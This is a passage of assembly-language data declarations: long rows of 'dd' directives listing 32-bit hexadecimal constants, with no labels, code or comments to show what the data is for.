0A516C631h dd 3E525D01h, 11561301h, 0C7264C44h, 0C419348h, 173ADC21h dd 8198AFCDh, 0D0E34F7Eh, 726BFA97h, 4F4595Ch, 0A270F8Eh dd 0D47E14ABh, 0ADE1D039h, 70AF43E9h, 8D6463AAh, 0FF82E5CBh dd 627554BEh, 9C08A00Fh, 0A4099003h, 3FFE2778h, 705FDE18h dd 5378B362h, 1C56157h, 4D240563h, 5A2E28E6h, 5BF4ECFEh dd 0C3ED3CAAh, 15692C8h, 0F833F281h, 89D5D203h, 0C1D600AFh dd 25640547h, 3655E829h, 32E91350h, 0AE3CAE49h, 305EB72Ch dd 84D6F45Ah, 0BF461068h, 91531635h, 0EE9666B2h, 4BA9EE52h dd 0EB3D2884h, 8D1E4E24h, 0DA96A38Bh, 446800D1h, 5833FB1Dh dd 416B2D40h, 2507540Fh, 0CBF0FA0Ch, 7B5C5272h, 510A788Bh dd 0AC21760Ah, 1A1D113h, 0F580282Ch, 0E414A085h, 57756812h dd 8012F2B3h, 0EF1F352Dh, 91B76F87h, 25916FCh, 685DEE31h dd 0C8E6282Bh, 2DF5504Ch, 0BCFB5148h, 413BF893h, 7967BB7Fh dd 0D3623246h, 4C04921Fh, 99A14E22h, 1720EBFCh, 0C05C751h dd 0BFB6E105h, 8370BD00h, 3DCF813Fh, 73A0228h, 91CDE947h dd 4906AD6Ch, 14C5A2Bh, 5B7CBDFEh, 0C752199Ch, 0B4128504h dd 820C0713h, 0B363275Ah, 9305EB11h, 8F0388EDh, 0F2EEC786h dd 69D60BCEh, 4AFC3C31h, 468C2A04h, 0C4EDABC1h, 959A074h dd 8005EFC0h, 0F80A548Eh, 1655CBF5h, 3C4C2206h, 6BC16120h dd 61685259h, 961389C5h, 1B810F2Eh, 0DA60D6B9h, 9D61B72Bh dd 66F7E24Ah, 48CD0B79h, 0EA706522h, 0BA4A260Eh, 0D802AE71h dd 98E6D152h, 1B2F0962h, 22DDB811h, 425BD841h, 1A217D22h dd 4021CFE9h, 93D3BC42h, 0FB0824Dh, 0E959CD89h, 9F3C66E8h dd 952080D2h, 9F6818DAh, 0B03BDD56h, 0E2E7799Fh, 10BE2A2h dd 0DEF67F40h, 0AE28C304h, 815AF081h, 0E9D02C06h, 0A23FC19Bh dd 0A3398550h, 646728EFh, 828DF54Bh, 88F7956Fh, 7E408DA6h dd 1C2A0BB8h, 820125B5h, 41496BD2h, 3AD412C2h, 0E724E58Dh dd 611F6E70h, 0D6F4C129h, 0DF2ED962h, 9A9FCF94h, 0E0E4A99h dd 8CD4CA2h, 0FB504895h, 4CD5B65Fh, 541818B9h, 9726E469h dd 0E60B14DBh, 65B97FB7h, 4FCD2B52h, 249CA06Fh, 49C8924Fh dd 3D9398D2h, 1DA72FA2h, 16DD46E2h, 17765FFEh, 53CAFF8h dd 0E9FE0929h, 9952BAA8h, 1B6A03EEh, 2E32961Dh, 45561F6h dd 14C12EAFh, 22ABDF5Ch, 67321E04h, 458369C3h, 7DB3EAB5h dd 0C65074F8h, 8430E908h, 2BBD64E6h, 901E7339h, 7A100EE2h dd 0CDC03220h, 463A6986h, 415F18C0h, 0B8520AB4h, 0E5E973FFh dd 0A5E656ADh, 7CB8982Dh, 7F5C59B8h, 4768FA02h, 41E39A16h dd 5E00B07Bh, 5B015D53h, 617FFE2Dh, 972E0526h, 0B87459ABh dd 461B04BDh, 1B81545h, 0E9200741h, 0F8DE5F31h, 0CE0AA141h dd 15C4F128h, 0D3290332h, 8EEA9D5Ah, 0C0D55005h, 18137712h dd 9AB2DAB4h, 176818C7h, 0CAEB5F2Dh, 3297B8B4h, 0AD99D4BEh dd 1340589Bh, 748C3AA3h, 1EB9B10h, 0BA31A468h, 6A89B15Fh dd 77C20BE1h, 0E66F4BF9h, 51EDE59h, 105BCFBBh, 1F70AC23h dd 0CEC95451h, 12B3722Eh, 5DC36349h, 0E1B83BCh, 0A9C2E909h dd 77026F44h, 5B48C030h, 17FF5121h, 0A46F56B3h, 6BBA5473h dd 8002F380h, 8899F20Fh, 494EA5D3h, 0E592FDBCh, 6C19F1DBh dd 31661B3Eh, 0FDB0C9E6h, 0D02E2ABCh, 38C10261h, 0F0602644h dd 0BD8021CAh, 690B3EB6h, 0B43538C8h, 9B8DBF0Dh, 0BFAF6AD4h dd 0EA5880A4h, 0BDACBE5Dh, 0E642F04Bh, 93A20547h, 81F931D7h dd 49463AFh, 0CB91A7BFh, 0B939805Ch, 91F3335h, 0C594E95Bh dd 0A03C07D3h, 2D682D4Fh, 0E8065C09h, 29BD82AEh, 4127DD45h dd 0E8D6EE58h, 2DAE5A46h, 563C02A5h, 556B68F1h, 0E90E93EDh dd 62E2737Fh, 0E1F7660Eh, 2F7C6862h, 31737AD5h, 85B1695Ah dd 74312B03h, 64F8501Eh, 99E91652h, 0B532AABFh, 9F59D0A6h dd 0E917B5F8h, 5157F0C7h, 305C16EFh, 0EDB850B8h, 20CD7412h dd 0F3408B13h, 665EFFBBh, 2C6FB473h, 2081283Eh, 8837A5A3h dd 74953CDAh, 0C381D390h, 137A13CFh, 470E133Ah, 7256575Dh dd 0D155BDB8h, 96C46F80h, 1082A96Fh, 0F601E092h, 0CB353D9h dd 805BD430h, 50ACF107h, 929C888h, 0A8165F1Fh, 0BC85E917h dd 3F6692DCh, 0F419D929h, 0E9F51D25h, 0ED7EE124h, 0E0846E1Bh dd 44AD9BEAh, 0FBD6ACC4h, 0E9F099ECh, 9CB9E727h, 2035CA04h dd 73F91AD5h, 596DBF03h, 220B7585h, 61ED28B1h, 6890784h dd 0C10E5106h, 7A44CF49h, 0E076EEF1h, 3F1ACA81h, 123172B5h dd 2CD403CDh, 80DA4AE9h, 504BA4Fh, 64229A26h, 52FCB712h dd 4FA10A1h, 0C1C3A083h, 10868AE8h, 694F380h, 0C004D61Fh dd 2045E549h, 0AB65C73Ch, 62149648h, 0F05D56E9h, 0EF60D2C5h dd 0FC4FDE2Eh, 7671B24Bh, 2D72DD8h, 9A6B3FCh, 0AEA1388h dd 0C964F64Ch, 2B0983E1h, 6CEAF484h, 0F03868BDh, 0D6B5701Dh dd 5144D222h, 0D5FB5E25h, 0FA29B499h, 9FB59C7Dh, 5A9A2FDCh dd 2E4457B3h, 760BFE27h, 205C58F9h, 2D626D0Ch, 0BF531701h dd 9033A8CCh, 28504CF4h, 96810E0h, 14682E63h, 38E55F0Eh dd 0ED11C065h, 522935FCh, 1C29236Dh, 3D19380Ah, 530D7600h dd 296BA2Dh, 0E933847Fh, 67E536D9h, 0A0005316h, 7A700DF5h dd 0BF968BBh, 48F21085h, 16E1006Ah, 521D4722h, 6FD40BBAh dd 0ECF65198h, 9FC8010Ah, 0A5D65E42h, 8BAE32E6h, 748218E4h dd 133BEF83h, 130B7F2Ah, 82ADA50Fh, 3D04510Ch, 98888423h dd 169CB800h, 4016636Eh, 8EEC083h, 3321A504h, 0F7A73043h dd 6E9C5DFBh, 14D6870h, 7F3280ACh, 5AE94860h, 0F7CF0305h dd 5BC141D9h, 0DF4F076Ch dd 0B5344CD6h, 0D32EF1A1h, 30C8F396h, 12D3A79h, 683630D8h dd 6485B402h, 0E54BBD5Fh, 36B46116h, 0A8C55B8Dh, 80D5B762h dd 19254EAh, 98478F13h, 432E68B5h, 0E9624D39h, 24385E33h dd 43C458C9h, 0FE5D5980h, 72EC9FF5h, 3479D895h, 0BCAB298Fh dd 35A605B2h, 6A1313C9h, 7048278Fh, 0A763552Eh, 0D3B91457h dd 52810A3Eh, 250C4256h, 0BECF6607h, 68EDB40Bh, 1FA2615Dh dd 281DD77h, 1DEB639Fh, 166A080h, 0D9E6350Dh, 5E0828D0h dd 0A2C148E4h, 65BB5917h, 6E1EF9EAh, 0ADF308B2h, 99609CDFh dd 0F0A008BCh, 0EFE81C44h, 0E718D202h, 52D7591Dh, 6B58587Ch dd 1D75C31Ch, 6FEB5DD3h, 4F428E7Ch, 9665249h, 5510403h dd 79F38BDDh, 6F186350h, 0C5560F92h, 0A05C88Ah, 4920D13Ah dd 85903BCAh, 81CE29h, 0C714A4EEh, 0C6015903h, 98DB6827h dd 138BBB79h, 0C027E32Eh, 0E63DE93Fh, 85451BDh, 7A28A3DCh dd 291704FEh, 0D1A14B57h, 3F349EE4h, 0EB80658Dh, 0B2F9DEC5h dd 0E926DA01h, 58844E12h, 0A1A5F829h, 0BC6ECD3h, 0A4DB81Bh dd 97E26D0h, 2E3C1EFCh, 0AC126C99h, 60AFA64Fh, 8BC10155h dd 3ECB3BEFh, 0E96D305Bh, 4495D3F1h, 4F17F0C0h, 0A5A2F3B9h dd 0D71E8AEBh, 4B9F31FAh, 8C0B6295h, 2E07BA56h, 9179114h dd 0CE75C809h, 80DC4FA4h, 4E19BEBCh, 300C563Dh, 0B9B82B75h dd 80D05A10h, 0F7910521h, 0D03D173h, 45AA4E86h, 346ED840h dd 0A2175A0h, 0A88EF359h, 90F62793h, 3C04A1CAh, 8BFBE03h dd 0C0277968h, 0BEF5727Fh, 30DC5068h, 525F16C3h, 22E5C754h dd 58F4D034h, 32E5F8C3h, 10223B4Fh, 1B61877Eh, 0D9203348h dd 57970BF1h, 480A3688h, 90D54B4Bh, 1E8B6847h, 8C6C7308h dd 524613CFh, 43BA6607h, 8953536Fh, 0F00650D3h, 1F557E5Ah dd 686D2CBDh, 67B63FE0h, 0BA14A1DFh, 1F9C0F12h, 0ACBFE257h dd 9A41776Fh, 0EF1C8603h, 942E7AF2h, 0AA2A0941h, 0AEEB7324h dd 65AF7C95h, 0B4A3ABCFh, 9863D12Dh, 0DA0041FBh, 284068E3h dd 766BB805h, 1374BDDCh, 0C9157F2Dh, 769B1A2Dh, 7F7C0B2Dh dd 0EA51035Dh, 130D7E78h, 80E7E9D0h, 7B886800h, 1B79392Dh dd 643CD9B3h, 2F0BE901h, 97E7BB6h, 63997B84h, 12D85504h dd 0C7684FBh, 0E3397FC3h, 1251A149h, 86550C8h, 0CDE92770h dd 6AEE9503h, 0E1147D34h, 0F67DD8BFh, 5251DF02h, 0A3259768h dd 9A67B01Bh, 0B38C846Bh, 1FBD2E8Dh, 9D2754FCh, 273DF8CDh dd 66FB4236h, 639BDEA2h, 100F2D87h, 84FF6A65h, 3924EB79h dd 0F38DC2h, 88D8B652h, 10CAF74Ch, 0E05BDE6Bh, 17000571h dd 2D292A37h, 7B911C0Dh, 757CBD2Fh, 0B51422CFh, 0A93E04Dh dd 0F86A5E4Bh, 395A0015h, 0E9425121h, 0F12B693Bh, 6D99805Fh dd 0FA0B070Ch, 0DD816562h, 27C80C1h, 34B85801h, 431D9BBCh dd 97066A8Ch, 4E798C6h, 1FAF11D8h, 0F02AA858h, 9F28DC68h dd 0E4304B18h, 0DF2CE9Dh, 0C3FED3F6h, 0AA4F3004h, 0A784E92Fh dd 37A1EF91h, 9A203446h, 87DD9C06h, 924DD656h, 186835E9h dd 40CC8AB3h, 0F70601h, 55B05051h, 0FE58C188h, 61E9C917h dd 0C55FDE4Eh, 2CD89876h, 13F8FE9Dh, 0B84C293Bh, 5E0CD079h dd 9E0041BDh, 0E9606B56h, 81925B11h, 2650B24h, 0A07A48Ch dd 2AD316B9h, 0D200BB96h, 46F505A5h, 1B353B48h, 0A9696B14h dd 21251020h, 8AF71D8h, 0BB01D768h, 39E64095h, 9BE5330h dd 29462F25h, 8807F50h, 4D4EAEE9h, 8D373A9h, 5918C5BEh dd 3E3CBF80h, 4D2D07C3h, 3EE069C9h, 7D33CC06h, 555B2712h dd 895A63E6h, 0E99A44BBh, 1413BA49h, 1349D0A8h, 88C8B2C1h dd 0AB2FA6D1h, 572C5D1Ah, 0F2C2417Bh, 11365578h, 8293C597h dd 18725E8Bh, 3DC0D5E1h, 0A09F20AAh, 2D489B0Ch, 825D30B4h dd 0FD58C666h, 0BAA675C5h, 9F124E00h, 2FF50120h, 10DCFC68h dd 29070FC8h, 3AF4E9D5h, 5BF20516h, 8C4B850h, 1816D738h dd 0F0890DE5h, 0C1E5E94Bh, 0FB6B357Eh, 5B61C9F4h, 0F4C5A24Ch dd 3B6C8383h, 1599E899h, 3FF50F34h, 71288680h, 314C130Ch dd 0E944B0FDh, 1436D827h, 1D5E5BC9h, 3E726BCh, 66C66354h dd 2F5A0C01h, 0DA291230h, 4F10A97Fh, 6B466CE0h, 955584Ah dd 20ACF6F2h, 0D42BF90Bh, 45D2AF92h, 0F4C55D59h, 0F742ABA5h dd 16D54492h, 0AF585B29h, 5EA43338h, 0F1C950Dh, 1277616Ah dd 0CE24EF3Eh, 0EA375D80h, 0E9940CB5h, 80300C93h, 4054C732h dd 4031FC4Ah, 956862F3h, 2190B5Ch, 238F4CDCh, 0E1A78F43h dd 319C6D64h, 3EDFE63Eh, 4F3D8B2Dh, 20ACF67Ah, 105B6F07h dd 455EEE5h, 0FA6DE9A0h, 2CEEE413h, 7C406F13h, 24B94551h dd 67FEF1BAh, 88290D25h, 0E9040821h, 0D889C385h, 7C223A40h dd 2784C8Dh, 0E90D1E30h, 7AB7A463h, 9CC0484Eh, 0F6800760h dd 0F43B08F2h, 0B5C4105Ah, 0E2268A48h, 0A7E809F0h, 66E96F6Bh dd 0A952C242h, 69303601h, 4DB2E948h, 0E7A8B22Eh, 93915185h dd 6660F128h, 0CB09954Bh, 22765F5h, 0E5DEE951h, 5658B6C6h dd 0F0700CCh, 0C15A7828h, 664B0EAh, 0A64CF8C2h, 0EE0B0C13h dd 0F0EB6962h, 0A886C0FBh, 11D8606h, 868F109h, 75E5303Ah dd 5C6A7104h, 0D827464Ah, 5C6494DBh, 0F0BC57EFh, 645032C7h dd 91409C82h, 1053766h, 0E468B708h, 0F861CD14h, 607EE3BEh dd 6D6F732h, 0F6B040DEh, 14737F1Ch, 215EF009h, 8DADE651h dd 84A6155Fh, 0BFBC28E9h, 19E0B0B5h, 0BCC59D08h, 505C8A20h dd 4A42047h, 877F580h, 6B98EBEEh, 0FE7955E8h, 286CCED9h dd 404F0105h, 6AB0C959h, 3C99E0BCh, 7C1BA754h, 74A610A4h dd 0A5091F90h, 0F771E678h, 0A12CAB44h, 5F6A36B4h, 5F106901h dd 728F812Fh, 1721B61h, 5936AE65h, 0B3964070h, 0A5B393Dh dd 0B1EE24C4h, 1C98DB9Bh, 0CCA02D6Ah, 0C2273276h, 0CD3A6813h dd 91741298h, 50E2010Dh, 7A1A2E39h, 78334A14h, 0EF665C40h dd 0E7B6C130h, 2764A97Bh, 0B5BA0001h, 0B8E32C92h, 0B7C57040h dd 0C712356h, 5557E100h, 38A76804h, 0CBE83FA8h, 0D6E58101h dd 93497E29h, 8838069Eh, 1B1C17DCh, 9301AA62h, 9AC8E1C7h dd 55954E2Eh, 0D901EA57h, 23EA67DAh, 7421F9F1h, 5D5F0802h dd 183E53F1h, 0B80A8B7Dh, 872C1EA7h, 7B478903h, 0D5170F16h dd 28E8535Ah, 0C3F389C4h, 0E30D621h, 0C7853058h, 1E419F67h dd 0DFB32F5Eh, 6D409C9Fh, 0D3C25576h, 0A870253Fh, 0F58817E7h dd 21EA16AAh, 0F050Fh, 504D8F6h, 301E2C26h, 0B463EBC1h dd 2CEFF4FEh, 0EBB853EEh, 4B09787Ch, 5DB854E9h, 0AD908BE6h dd 33CB9850h, 59C8290Fh, 7C76222Dh, 0ADD6A39h, 6D055B07h dd 88805E4Eh, 4C1DA2C3h, 8E1A1219h, 2FFE93Dh, 55DF0183h dd 355AC5DAh, 3DD520D7h, 0E1E8A7D5h, 8207FC4Ah, 0FFF616B4h dd 7DBFD00h, 87277AB3h, 439357D6h, 5AB105Eh, 0E5D7EF96h dd 4D956A65h, 127CF356h, 0DA258833h, 0C25881BAh, 640C9AE6h dd 0C8709FF2h, 62BE32D2h, 0D857173Fh, 207B9DA8h, 8D6A546Bh dd 2CE0FEh, 0E54D8DB2h, 1533D48h, 0C21AB277h, 1F5DCF89h dd 4DF2ED2Bh, 80A34BD3h, 0F875EA92h, 0CB3E402h, 6FBF60DEh dd 8987B621h, 0A633E0FAh, 214702D0h, 51ED4397h, 0DF36A40Dh dd 4AF17840h, 0CFB3CC49h, 7A310C41h, 27F7CFDh, 1DC7BE92h dd 54404142h, 12027D6Fh, 0E9EED163h, 0BD86785Ah, 5C02ED3Ch dd 0E9CB885Ah, 2FA176FCh, 6F57DA99h, 0A2AE9965h, 3E6D0B64h dd 0BEA02D9h, 0CDF2B05Ch dd 9EFF99B3h, 0E9365356h, 17FB033Bh, 3943462Dh, 0D0AF93CAh dd 8D09DE50h, 39CD4Ah, 7673B671h, 64F0BD31h, 0BFCE4430h dd 4CFFC1C7h, 0F926DFFDh, 197C8B99h, 5D810D90h, 5075D633h dd 6E93B0B7h, 5482EDD1h, 1CAC9224h, 0B02248DDh, 46FB9711h dd 0DB12DC1h, 0F834F06Fh, 0ACBBE913h, 0F16B5EDh, 5C9DE6h dd 2424696h, 0A4A4334Ah, 50FDE2BDh, 3C2FACCh, 0E96CFE34h dd 321D7227h, 3CCAD109h, 94A48F4Fh, 5B202D40h, 8E729561h dd 87D10783h, 3FD3A04h, 948213CAh, 8039DEC0h, 0E230E589h dd 84E8B37Fh, 0FC2D0990h, 5E49135Fh, 0F1675C01h, 6FA2C420h dd 71860B3h, 215C56AEh, 0E8B408B8h, 76A23689h, 0EA9649A0h dd 310896BDh, 0E9251CB8h, 56C23FAFh, 251FE75Bh, 1809A87Ah dd 0F75DCD45h, 0B2C9758Eh, 535B99FDh, 6BA1F93Fh, 0F5B84820h dd 0E71B2F6Ch, 0C5E46270h, 3F145850h, 928FCC4Bh, 1257597Fh dd 721BB02h, 1B4041DAh, 0C23B39DFh, 5DE30642h, 0C0C9038h dd 8FFFFCEBh, 0D95FD1CEh, 548F0EACh, 88983A24h, 291CF249h dd 0D8D762B2h, 0FFAF4509h, 7FB4F396h, 0C22404CBh, 0B9FBE5AFh dd 4030DEE2h, 601706E4h, 6A1A9614h, 0E9166420h, 7354BC8Ah dd 0A7A11070h, 505D540Bh, 4C0FA520h, 0F7987C38h, 0A9D1CE0Bh dd 0DAAB227Bh, 5058FCBAh, 0E5990C03h, 61F6644Fh, 8AA231AFh dd 0DBA80443h, 180C9B40h, 0C46FA58h, 9E052942h, 0E6F2E94Dh dd 9D0627A9h, 0C506145h, 7F3B2070h, 98B8826Dh, 0F1120D9Ah dd 0AE482558h, 1B956FEBh, 66A2E711h, 1E297928h, 0B1E25353h dd 3DCA6FABh, 0E26ED2D3h, 910076CAh, 3A1B9492h, 51025BB8h dd 0E97B4665h, 0D7ADA9D5h, 668293E2h, 0A2DD2901h, 5FF8468Ah dd 0C30808D9h, 0D2F602ADh, 3374E2C0h, 0D5303E05h, 66018BE3h dd 0E9B2B353h, 0B91A246Dh, 342F18F2h, 0BCB06861h, 716C2616h dd 48AD02DEh, 18E2070Eh, 50AD15D1h, 0A1680563h, 0D4288E08h dd 0C67282F1h, 0E4D4AF0Fh, 9D86F73h, 85F49548h, 0CCF3B001h dd 0D01C189h, 0E8ED7BA3h, 0BB2CFB93h, 5EA7404Bh, 74160ECh dd 0C882933Ah, 259019D1h, 2AF13048h, 330B4763h, 4549D556h dd 0E9BD5C02h, 0BF83050Eh, 2DC07976h, 31F977ACh, 0F48F41C3h dd 595FC25Dh, 0F5EB6F6Fh, 0F6B299D0h, 85F7EF9Dh, 0A88884E9h dd 0A03C9EE5h, 0B8315FB3h, 672DB0C4h, 70F055Ah, 0F05E801h dd 2AB55D07h, 0FC6F2817h, 0F9F19247h, 9020296Eh, 0BB34C428h dd 41D5043Bh, 2C37BF02h, 67A42301h, 0BBCE853Bh, 3F9D081h dd 13E3447Eh, 4398EFB1h, 16072465h, 98F31413h, 5038A310h dd 784E9D55h, 68818332h, 73C280FAh, 0DFEA0D12h, 0D610CA28h dd 0EDE9640Fh, 4F65E3FAh, 16F44BAh, 0A2F2EAD3h, 9F99BDD3h dd 0B71FBD10h, 988479ABh, 98293E68h, 0FE68DE28h, 562C9855h dd 46CB8072h, 31271D0Ah, 2A8AEA31h, 585200B6h, 96C2F65Ah dd 0A0751796h, 681259E8h, 8CC71E2h, 9400BDB6h, 0D7774A05h dd 35482B02h, 600E5F74h, 97793C55h, 2FFCD89Ch, 5A3CBE6Bh dd 97F4BDDFh, 2AE1C4F2h, 0A7749A9h, 380662B8h, 61FA08D0h dd 6B836804h, 0B61F33A2h, 0CE42C92Fh, 6054C875h, 60A09791h dd 37443EA8h, 0C9EA8102h, 0DD1B5A38h, 1808F128h, 139F1E58h dd 4260A176h, 4D105F0Eh, 0EAE2BF62h, 5205C3C3h, 3F2CC304h dd 71A60BFAh, 0FE860884h, 0ACCD5D5Dh, 11737BC6h, 0C720CF58h dd 3620495h, 8F2F5FBCh, 0B1B31677h, 0EA4D0B59h, 0B5962351h dd 0AAA40E53h, 6B29483Ch, 0D0FC2DCBh, 0F63F88ACh, 0FB8A50F7h dd 2A2C6851h, 0C2C44945h, 0B94FCBFCh, 0EDA1B3D0h, 8AC473ECh dd 0E16CADE8h, 96E43E9h, 85595D03h, 85C5F5EBh, 0D307D72Dh dd 0D37B75Ch, 3B0FC9C2h, 6D7B8140h, 97317045h, 38305676h dd 0BFEEC15Eh, 21D50660h, 0E9F78904h, 0A6B9562Ch, 5DA6F076h dd 0FF5F8C94h, 0C47B4269h, 6BE8CDh, 0F36176BEh, 0EF68111h dd 7FC631AAh, 0AF28C1DCh, 880191CAh, 13BD7B6Ah, 0FDD4FB51h dd 401DA102h, 4BFA6017h, 52F5C0A9h, 997EABBAh, 9BF0725Bh dd 2DCBB809h, 917DC025h, 0BA512201h, 0CEC9F130h, 0C9FE0883h dd 1200B252h, 0CA205AD1h, 0CC686659h, 0F93A802Ah, 9BC12854h dd 84E5D449h, 0DFEE7D9Dh, 59404A00h, 6D251A85h, 0D4534BE9h dd 0F179D1F4h, 18236717h, 0B9FFAF35h, 1A52197Ch, 0C2491641h dd 0AF41E557h, 2681901h, 5B55C23Bh, 0FBA18BCDh, 30DC14D7h dd 0EA179AB5h, 292F0EA0h, 80097238h, 970A3108h, 7A0283ABh dd 0E65B2311h, 722CF0A0h, 0D9538BB8h, 0A79401DDh, 0E216E5FAh dd 831DB8ACh, 0D94AC380h, 0F7C2BE49h, 1452FDF9h, 0F8E918B3h dd 0D6B15295h, 12F18016h, 9D2CFF13h, 0F5B6A328h, 2BD1EF14h dd 52095780h, 6256D954h, 5904E0BBh, 0CA6490ABh, 1E055F53h dd 55F7686Fh, 0E984485Dh, 3AFDEC2Dh, 0AF1D2200h, 0A0F3812Eh dd 3A07011Dh, 5893CB82h, 518EFF7Eh, 9F7BCF20h, 0E913DD29h dd 0C74626E3h, 2F8341A7h, 0C9468AE4h, 2AC4A481h, 68C20FFDh dd 8FB056B5h, 4FC54065h, 9BE817D1h, 0F76AEFC6h, 1D09507Fh dd 8E721413h, 28EAD332h, 97626A86h, 0FB096870h, 4B102CFFh dd 0A009C075h, 87FBBDFFh, 7CCFA53Eh, 2D364AACh, 898FD77Ch dd 0AF5AA6D1h, 0D2C24829h, 0EEF16527h, 6652FE8Bh, 5F537A31h dd 7C7FF1FFh, 40F8AC0Bh, 0CC31682Eh, 3732CF31h, 45B8C3Fh dd 20804216h, 1D816DA8h, 6FB519BBh, 0A774EBC1h, 0ACCBA392h dd 2A6E98DCh, 404A2C0Bh, 0FBA518CCh, 68252477h, 6BBAD6F8h dd 0EAA28141h, 0E978AEFCh, 5DD6AACCh, 0C9278895h, 0AC2EF3B9h dd 0C383A0ACh, 5E129002h, 615C4497h, 0B0CFBA6Bh, 3B27910h dd 0E3DD30BBh, 0C1321028h, 3F04019Eh, 8091B151h, 0B2427771h dd 0B48FFF6h, 0F896F930h, 0B09D610Bh, 0B55E7C38h, 0D2E48851h dd 86E99C01h, 0B9F43E91h, 0B0CA408Dh, 57EC595Bh, 180C927h dd 7C1F3EBDh, 9534287Ah, 57AC329Dh, 53D70402h, 2661ACB3h dd 5B6F60F9h, 28A52C0Fh, 0C37FDC8h, 9C4D784h, 0D36FA7BBh dd 766C3E92h, 95C1262h, 5E8207FAh, 94A0C992h, 71DB0137h dd 55A4295Ah, 66545C57h, 88939E24h, 273D55E4h, 0EB6D2020h dd 484A25C9h, 5804AE16h, 0ABCCEA09h, 68096FCEh, 0BAC6433Dh dd 0D43AA20Bh, 0AED90004h, 24590642h, 1748FB21h, 3B302938h dd 207F3C14h, 0DF2D0699h, 265B4E72h, 1FA67A9Dh, 196EA705h dd 432D3058h, 0ACB05E07h, 4A7B120Ch, 9006DA9Dh, 0ABAD4E44h dd 0DE8A0121h, 18164969h, 35312CE7h, 5FA48D5Bh, 7E534186h dd 4978E3E1h, 9D05425Eh, 7BFC792Ch, 0E204A800h, 4EC5E932h dd 0D28BA9D9h, 2F4D7901h, 0B92A64EFh, 82EB46EBh, 72ACD4E9h dd 458812C1h, 0A52304AFh, 0DEEFDDh, 2D0CE90Ah, 7A3240ACh dd 569D4D4Fh, 36EB01B5h, 6E493E78h, 0A96E650Bh, 0A5645984h dd 0EE202A6Ch, 88FB96A3h, 5C25D54Bh, 88F60885h, 3A5F300h dd 0E2683862h, 0BE18BF55h, 0E1E4252h, 54258B3Ch, 5DE9F86Fh dd 59070A9Eh, 0F752C683h, 127E1D6h, 0C78C1141h, 624D8A7Ah dd 75340F24h, 0C2B2CAE0h, 0C95CF4B5h, 1D407656h, 0BD755957h dd 0B7489244h, 7C7DD010h, 0BB9C840h, 7B22424Dh, 9C204A5Eh dd 1CA75A20h, 7FEF681h, 0EB31762Eh, 14DE2404h, 53EE0378h dd 0E88137F5h, 90EA5EA8h, 0E0D92DB7h, 4BDF5790h, 0D4F00122h dd 0EB10800Eh, 6E974597h, 0D2253AE6h, 315E1360h, 3F4153BFh dd 0EED0CA12h, 0C50CDD24h dd 55FE3758h, 0A5209B2Fh, 54F7803h, 53685A1Dh, 0C545EC69h dd 37BB3847h, 923CF1AEh, 40303A26h, 736ABD55h, 9A3B4C73h dd 5046020h, 4F4D4372h, 6E56D8CBh, 5ABD3710h, 512D04F2h dd 0FB093462h, 4F319482h, 0AB3DC282h, 5A0B5FD1h, 668ED151h dd 14FC9059h, 0CC901BE2h, 2D3CF402h, 74EDE918h, 0DECF20E2h dd 79F894C3h, 37924068h, 0A103D5B1h, 76E7A559h, 7A66F99Eh dd 5750BB31h, 1A2FA740h, 815F0133h, 3A2AACCFh, 42C2F07Dh dd 0C2959B9Dh, 1FA40FAAh, 10C3B37Bh, 21193D38h, 0EC50B3F0h dd 0A19DC736h, 0BF0CCC99h, 0CF2C0478h, 5D430958h, 8B774D75h dd 0B2A078E9h, 6617CCB9h, 0C8097900h, 0DD8F759h, 0A26400E5h dd 6C722D71h, 0F9E235E4h, 0D1524602h, 4058C621h, 1810297h dd 0BBF53DEEh, 3BB0E9F6h, 0B6B8E40Fh, 929399A3h, 0B46881DAh dd 2F1E20BBh, 63890EA8h, 60AB54BAh, 40144F2Ch, 4B0E9E90h dd 0D70A9555h, 0CDB43113h, 0F1519FEDh, 26200108h, 0FBEC09E3h dd 0B5366E7Fh, 791493A2h, 266302DCh, 0E7793BB3h, 0D740B5A7h dd 3FDEE188h, 7A48AFBFh, 0CA68140Ch, 53C0D10Eh, 650175BBh dd 0F3810F01h, 10963D73h, 4E94D320h, 7197F850h, 0A60B1F90h dd 740892F4h, 901C08B2h, 6009D24h, 975B850h, 257100C9h dd 32D541A4h, 44249C2Dh, 3B0BE7CEh, 0E725D4B0h, 120BCF55h dd 271DB722h, 4497DE4Ch, 0C62D484Eh, 1A78AC97h, 0DFF5FE2Eh dd 1A2D9152h, 335993F3h, 5A10D170h, 7EC2018Dh, 6E0DA27Fh dd 0F9E9A6C1h, 0BEAB162Eh, 0C2097307h, 0AFBF93A2h, 96450E2Ch dd 0D70DAE22h, 438979C5h, 29B21957h, 69FD9B30h, 63FE47E1h dd 0C962280Dh, 0C0E63Eh, 173B9438h, 125EF531h, 0CC3F9B68h dd 0AE49AB0Fh, 0F7566B04h, 33A7B36Fh, 2EF26Eh, 265C09BBh dd 44E01F5Eh, 373FE7F6h, 191CF4EBh, 54E6D1AAh, 5B825282h dd 3D9B1B02h, 7C406E05h, 8C070BBh, 4B4483C4h, 0E5EEAC8Fh dd 4AD5B3BBh, 2AA690B1h, 9E1058h, 0C280EA28h, 0E2059F6h dd 0F1865AD1h, 0D52CEE4Fh, 0E235E908h, 0D0EA2CF7h, 0BF2D4610h dd 40273D7Dh, 4A167FB0h, 851D4BFh, 0B1098C13h, 8FB28h dd 6DEA80C7h, 47B21DE9h, 382B6812h, 41C6E2CCh, 0D5A43A95h dd 800640A7h, 66BAC703h, 74FD8851h, 0E9EF08AAh, 531DE010h dd 11A14EBDh, 6FA21762h, 40682648h, 42CC255Ah, 0CCE00B9h dd 0E1816FF4h, 0C55C6A98h, 7E916DFh, 6037E249h, 49635EDh dd 50DA4EE4h, 3A81AE5Dh, 352124EFh, 33659900h, 29663ECEh dd 28081C68h, 11481F8h, 7850D16Ah, 0D728299Dh, 0C7FC6CB5h dd 81859E65h, 105D57ADh, 0F1E9EF29h, 0D49E6845h, 59D90016h dd 0CE8110EDh, 993217AAh, 4A5A2102h, 97373CB9h, 2FA92574h dd 5025D794h, 317FB95Dh, 0F64A5D2Ch, 0E5552DB5h, 25804D5Ah dd 0C4AD7AFDh, 8E8405B5h, 4BF3F2C8h, 10661F01h, 41C75DB2h dd 0D06F075Ch, 252180D0h, 6CE94709h, 6F00DCA7h, 953ED83Fh dd 931F2CF2h, 7EE430C9h, 12BC502Dh, 0B1636Dh, 29F7F1B0h dd 86F6C07Ch, 84D97248h, 0B5099404h, 29F96008h, 35193D3h dd 164DF5EFh, 7AC1584Ah, 5F027BA9h, 8B6FEBFEh, 745B42AAh dd 11B254EFh, 0F9C96F9Eh, 